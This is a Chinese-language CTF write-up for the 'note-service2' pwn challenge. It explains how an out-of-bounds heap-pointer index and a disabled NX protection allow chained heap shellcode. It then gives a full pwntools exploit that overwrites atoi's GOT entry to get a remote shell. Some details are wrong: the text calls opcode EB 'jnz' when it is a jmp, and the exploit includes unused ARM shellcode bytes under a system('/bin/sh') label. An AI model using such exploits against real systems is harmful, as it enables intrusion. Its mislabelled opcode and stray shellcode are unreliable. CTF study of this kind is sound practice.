攻防世界-note-service2-Writeup

note-service2

[collapse title=“展開查看詳情” status=“false”]
考點:堆上shellcode

保護情況:NX 保護關閉

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

漏洞函數:存放堆指針的數組可越界存放。也就是堆指針可放置到任意地方。

int myadd()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]
  unsigned int chunk_size; // [rsp+Ch] [rbp-4h]

  result = dword_20209C;
  if ( dword_20209C >= 0 )
  {
    result = dword_20209C;
    if ( dword_20209C <= 11 )	//chunk上限11個
    {
      printf("index:");
      v1 = getinput();
      printf("size:");
      result = getinput();
      chunk_size = result;
      if ( result >= 0 && result <= 8 )
      {
        qword_2020A0[v1] = malloc(result);	//堆指針存放可越界
        if ( !qword_2020A0[v1] )
        {
          puts("malloc error");
          exit(0);
        }
        printf("content:");
        myread(qword_2020A0[v1], chunk_size);
        result = dword_20209C++ + 1;
      }
    }
  }
  return result;
}

程序沒有 NX 保護,可以將 shellcode 存放在堆上,然後通過數組越界覆蓋 got 表調用 shellcode 。

程序限制堆大小不超過 8 ,且讀入數據函數會佔用最後一個字節寫入 \x00 。可寫入空間僅有 7 ,所以需要用匯編的跳轉指令 jnz short xxx ,對應的十六進制爲:EB xx,其中 xx 爲偏移量。偏移量計算公式爲:xx = 目標地址 - 當前地址 -2

程序申請一個 size 爲 8 的堆結構如下:圖源

從 chunk 0 jmp 頭開始計算:xx = 2+1+8+8+8-2=0x19

構造一個調用 system 函數的shellcode ,然後數組越界覆蓋一個可被控制輸入參數的函數,例如 atoi ,傳入參數 /bin/sh\x00 。這種構造方法要最後才修改 got 表,避免修改導致程序輸入函數失效。

也可以到 shell-storm 找一個直接調用 system('/bin/sh') 的shellcode 一把梭哈。

完整 exp

#encodeing:utf-8
from pwn import *

context.log_level = 'debug'
context(os='linux',arch='amd64')  
p = remote("124.126.19.106",41618)
#p = process("./note-service2")

def add(index,size,content):
    p.sendlineafter("your choice>> ",'1')
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def delete(index):
    p.sendlineafter("your choice>> ",'4')
    p.sendlineafter("index:",str(index))

#call system
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19') 
code1= (asm('mov eax,0x3B') + '\xeb\x19')  
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')  
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19') 
code4 = (asm('syscall').ljust(7,'\x90'))  

#system('/bin/sh')
shellcode0 = "\x01\x30\x8f\xe2" + '\x90\xeb\x19'
shellcode1 = "\x13\xff\x2f\xe1" + '\x90\xeb\x19'
shellcode2 = "\x78\x46\x0e\x30" + '\x90\xeb\x19'
shellcode3 = "\x01\x90\x49\x1a" + '\x90\xeb\x19'
shellcode4 = "\x92\x1a\x08\x27" + '\x90\xeb\x19'
shellcode5 = "\xc2\x51\x03\x37" + '\x90\xeb\x19'
shellcode6 = "\x01\xdf\x2f\x62" + '\x90\xeb\x19'
shellcode7 = "\x69\x6e\x2f\x2f" + '\x90\xeb\x19'
shellcode8 = "\x73\x68" + '\x90\x90\x90\x90\x90'

#write shellcode 
add(0,8,'a'*7)
add(1,8,code1)
add(2,8,code2)
add(3,8,code3)
add(4,8,code4)

#overwrite [email protected]
delete(0)
add(-8,8,code0)

#send /bin/sh
p.sendlineafter("your choice>> ",'/bin/sh\x00')

p.interactive()

[/collapse]

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章